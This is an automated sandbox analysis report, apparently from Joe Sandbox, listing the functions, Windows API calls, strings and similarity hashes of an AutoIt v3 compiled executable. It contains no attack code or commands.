Instruction ID: 1b6b91250ef127bb6d6d37b19bfd189cd1458ebf4ed18480151e8541c6c22c41
Opcode Fuzzy Hash: 68229fdcb89769e1228b851cc7905b8c17c6978382eb60648c185bbdcfdab8ab
Instruction Fuzzy Hash: 1AE1652AB09902A1FE58FF16D15267CA360BFA4B44F9440B5DB0E572D1DF3DE862E720

Function 00007FF73A1D3B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF73A1D3B9E
LoadCursorW.USER32 ref: 00007FF73A1D3BAE
LoadIconW.USER32 ref: 00007FF73A1D3BC3
LoadIconW.USER32 ref: 00007FF73A1D3BDC
LoadIconW.USER32 ref: 00007FF73A1D3BF5
LoadImageW.USER32 ref: 00007FF73A1D3C21
RegisterClassExW.USER32 ref: 00007FF73A1D3C85

Part of subcall function 00007FF73A1D3D90: GetSysColorBrush.USER32 ref: 00007FF73A1D3DE5
Part of subcall function 00007FF73A1D3D90: RegisterClassExW.USER32 ref: 00007FF73A1D3E16
Part of subcall function 00007FF73A1D3D90: RegisterWindowMessageW.USER32 ref: 00007FF73A1D3E2A
Part of subcall function 00007FF73A1D3D90: InitCommonControlsEx.COMCTL32 ref: 00007FF73A1D3E48
Part of subcall function 00007FF73A1D3D90: ImageList_Create.COMCTL32 ref: 00007FF73A1D3E63
Part of subcall function 00007FF73A1D3D90: LoadIconW.USER32 ref: 00007FF73A1D3E7C
Part of subcall function 00007FF73A1D3D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF73A1D3E8F

Strings

AutoIt v3, xrefs: 00007FF73A1D3C3F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: aa4909c4f0c62e4334be1ec4fcf3a87905bdadafee5abf6cb0672a09eca67404
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: 9A31373AA08B42AAF710EB91F8463A9B378FB88759F800179DD8D43B14DF7CD155A720

Function 00007FF73A217348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A217078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A2170B9
Part of subcall function 00007FF73A217078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A217136
Part of subcall function 00007FF73A217078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A217187

CreateFileW.KERNELBASE ref: 00007FF73A217449
CreateFileW.KERNEL32 ref: 00007FF73A2174A5
GetLastError.KERNEL32 ref: 00007FF73A2174D9
GetFileType.KERNELBASE ref: 00007FF73A2174EE
GetLastError.KERNEL32 ref: 00007FF73A2174F8
CloseHandle.KERNEL32 ref: 00007FF73A21752B
CloseHandle.KERNEL32 ref: 00007FF73A217684
CreateFileW.KERNEL32 ref: 00007FF73A2176BC
GetLastError.KERNEL32 ref: 00007FF73A2176CB

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: d1684edf5d4afc906a1cefa0900412c8255d50049392b87181057cffcd0ab2f9
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 52C1E03AB18A419AFB10EF64D8423AC7761EB89BA8F405275DE2E5B7D5CF38D011E710

Function 00007FF73A1E25BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF73A1E26DA
timeGetTime.WINMM ref: 00007FF73A1E28BC
PeekMessageW.USER32 ref: 00007FF73A1E29E3
TranslateMessage.USER32 ref: 00007FF73A1E2A23
DispatchMessageW.USER32 ref: 00007FF73A1E2A2D
PeekMessageW.USER32 ref: 00007FF73A1E2A47

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 5ebdb979b28160a23f49629197f1ccdf04f56b681ab297a5cb476022dd174858
Instruction ID: f37785e46bd6dd617fefcfc5a7255fa87b9a7925899d8890c3a29b000385db47
Opcode Fuzzy Hash: 5ebdb979b28160a23f49629197f1ccdf04f56b681ab297a5cb476022dd174858
Instruction Fuzzy Hash: CA22E53AA0C68697FB68AB20E4527B9E7B0FB95744F940175DA4E43695CF3CE440F720

Function 00007FF73A1D3CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF73A1D3D0C
CreateWindowExW.USER32 ref: 00007FF73A1D3D5F
ShowWindow.USER32 ref: 00007FF73A1D3D75

Strings

d, xrefs: 00007FF73A1D3CF4
edit, xrefs: 00007FF73A1D3D18
AutoIt v3, xrefs: 00007FF73A1D3CC8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: 3685fec164eaaf12831b85dbec0a3a32f86b216b289c78dd3745748f38014189
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: 00218C76A2CB41DAF710DB10F84A72AB3E0F788799F804278EA8D46654CFBDC145EB10

Function 00007FF73A1D7EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2D8E
Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2D9C
Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DAC
Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DBC
Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DCA
Part of subcall function 00007FF73A1F2D5C: MapVirtualKeyW.USER32(?,?,?,00007FF73A1D7FA5), ref: 00007FF73A1F2DD8

Part of subcall function 00007FF73A1EEEC8: RegisterWindowMessageW.USER32 ref: 00007FF73A1EEF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A1D106D), ref: 00007FF73A1D8209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A1D106D), ref: 00007FF73A1D828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF73A1D106D), ref: 00007FF73A21D36A

Strings

AutoIt, xrefs: 00007FF73A1D7F46

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 72bdae3ca36e15029f9bf39897a5db1996f70645535de1e8b608f75808eab65b
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: 88C1E379D1DB52A5F640EF14E882078F7A8BFD4340FA042BAD49D42A61DF7CA245F7A0

Function 00007FF73A1D72C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF73A1D739E
Shell_NotifyIconW.SHELL32 ref: 00007FF73A1D73AC
LoadStringW.USER32 ref: 00007FF73A21CE12

Strings

Line: , xrefs: 00007FF73A21CE52

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: 1bf3ee93fc45a1699e44ee0231c4e24a40c79c0c321c71349712c6b358204ebc
Instruction ID: fad7602e9d77208656cf54a0a6df1cb262ab86075fbf4f571403ffc8503d6478
Opcode Fuzzy Hash: 1bf3ee93fc45a1699e44ee0231c4e24a40c79c0c321c71349712c6b358204ebc
Instruction Fuzzy Hash: 1541332B60C686B6F720FB10E4422B9B371FB85384FC450B1DA8C02699DE7CD544E760

Function 00007FF73A1D3F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF73A21BAA2

Part of subcall function 00007FF73A1D56D4: GetFullPathNameW.KERNEL32(?,00007FF73A1D56C1,?,00007FF73A1D7A0C,?,?,?,00007FF73A1D109E), ref: 00007FF73A1D56FF

Part of subcall function 00007FF73A1D3EB4: GetLongPathNameW.KERNELBASE ref: 00007FF73A1D3ED8

Strings

Run Script:, xrefs: 00007FF73A21BA4D
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF73A21BA74
au3, xrefs: 00007FF73A21BA80

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: 9e819b4590d84af6d8f917ad5adcf5c2f7b7f91b58fd9dfeb15db63d8b5388ce
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: 9431CF36608B8299F710EF21E8411A8B7B4FB89B84F9441B5DE8C03B55CF3CD144D710

Function 00007FF73A1F4610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D72C8: wcscpy.LIBCMT ref: 00007FF73A1D739E
Part of subcall function 00007FF73A1D72C8: Shell_NotifyIconW.SHELL32 ref: 00007FF73A1D73AC

KillTimer.USER32 ref: 00007FF73A1F46A8
SetTimer.USER32 ref: 00007FF73A1F46BD
Shell_NotifyIconW.SHELL32 ref: 00007FF73A23AAAD

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction ID: baba660d3d56ec005b48606d41f58dd1e434a400d642d9092f16338e0b96733f
Opcode Fuzzy Hash: 2d5799521ef17968f8bb941a14b0e5868efdfa1f9d153b0a91d36d331dc2bdb2
Instruction Fuzzy Hash: 7831F527E0D7C2A7F7259B11A001279B7A8E785F84F8840B5DE4C07785CE2DD644E760

Function 00007FF73A1D6F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF73A1D6F52,?,?,?,?,?,?,00007FF73A1D782C), ref: 00007FF73A1D6FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF73A1D6F52,?,?,?,?,?,?,00007FF73A1D782C), ref: 00007FF73A1D6FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF73A1D6F52,?,?,?,?,?,?,00007FF73A1D782C), ref: 00007FF73A1D6FFA

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: 117a8922e8f59de3097bd79c550f85739dc7ee55d932ba414100d92125206661
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: 0A21BB3BA28B4197E7109F25F451A6EB3B4FB89B80B841170EB8C83B14DF39E404EB40

Function 00007FF73A1F9118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF73A1F90FC), ref: 00007FF73A1F9140
TerminateProcess.KERNEL32(?,?,?,00007FF73A1F90FC), ref: 00007FF73A1F914B
ExitProcess.KERNEL32 ref: 00007FF73A1F915A

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction ID: eb89ab0e6ddf06ef82895816f895040672c1a9d4304771a97d1892fa30ca28cc
Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
Instruction Fuzzy Hash: 84E04828B0974296FF147B705C4B37553666FC4751F8451B8D90E43396CE3DE448B221

Function 00007FF73A1E66C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF73A1E6C05

Strings

CALL, xrefs: 00007FF73A1E6BCE

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: 8f2e37acb04d065fbc7b04e3bd052ff60723aacf34b836c6384d0711d15d2f0a
Instruction ID: 5c015282d246da0d20eeb737ea2e9e6204f53c0d66ad8ef13d16275030f9161e
Opcode Fuzzy Hash: 8f2e37acb04d065fbc7b04e3bd052ff60723aacf34b836c6384d0711d15d2f0a
Instruction Fuzzy Hash: 8D229D3AB08642AAFB14EF64E0426ACB7B1FB64B88F804175CA5D57795CF3DE445E320

Function 00007FF73A1D6460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D6D64: LoadLibraryA.KERNEL32(?,?,?,00007FF73A1D6490), ref: 00007FF73A1D6D7B
Part of subcall function 00007FF73A1D6D64: GetProcAddress.KERNEL32(?,?,?,00007FF73A1D6490), ref: 00007FF73A1D6D93

FreeLibrary.KERNEL32 ref: 00007FF73A1D64BA
LoadLibraryExW.KERNELBASE ref: 00007FF73A1D64E4

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction ID: 2a68d4b13d80b04e9cd270b33fae6c7f4ea1ea3cb6461ff7c99556e50dda378a
Opcode Fuzzy Hash: 4148032de61d84ae77990a54cc2b1f6886a047abe3d4ed031ab241bf62c2a7ff
Instruction Fuzzy Hash: EB416F27A24A52A6FB10FF25E8423BC73B0EB84B88F854571EA4D47689DF3CD444E720

Function 00007FF73A1D6258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF73A1D6350

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction ID: 5ab94afd4aae4d4aefafe551cb94ab7ac457ebd9b361533eb00fe8a9a504842e
Opcode Fuzzy Hash: 75f4a0e65c200bc2e40f9fd9660e43366a6e6660fa9f53215bc3a0a6d933da49
Instruction Fuzzy Hash: 79419E3A919B85A6F761AF11E4413A9B3B8FB88B88F840175EE8C07749CF7CD154E760

Function 00007FF73A1D3730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00007FF73A1D3756

Part of subcall function 00007FF73A1F9334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1F9348

Part of subcall function 00007FF73A1D36E8: SystemParametersInfoW.USER32 ref: 00007FF73A1D3705
Part of subcall function 00007FF73A1D36E8: SystemParametersInfoW.USER32 ref: 00007FF73A1D3725

Part of subcall function 00007FF73A1D37B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D37F2
Part of subcall function 00007FF73A1D37B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D3807
Part of subcall function 00007FF73A1D37B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D388D
Part of subcall function 00007FF73A1D37B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF73A1D3785), ref: 00007FF73A1D3924

SystemParametersInfoW.USER32 ref: 00007FF73A1D3797

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
String ID:
API String ID: 4207566314-0
Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction ID: 0b0322f02f36e86206e741c3810de1961f7e8c249f92e0b035606ea960ee7a85
Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
Instruction Fuzzy Hash: B001FB78E0D643AAF714BBA1A817575F261AF84700FC400B5D58D872A2CF3DB585B720

Function 00007FF73A20B3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL ref: 00007FF73A20B3D6
GetLastError.KERNEL32 ref: 00007FF73A20B3E8

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
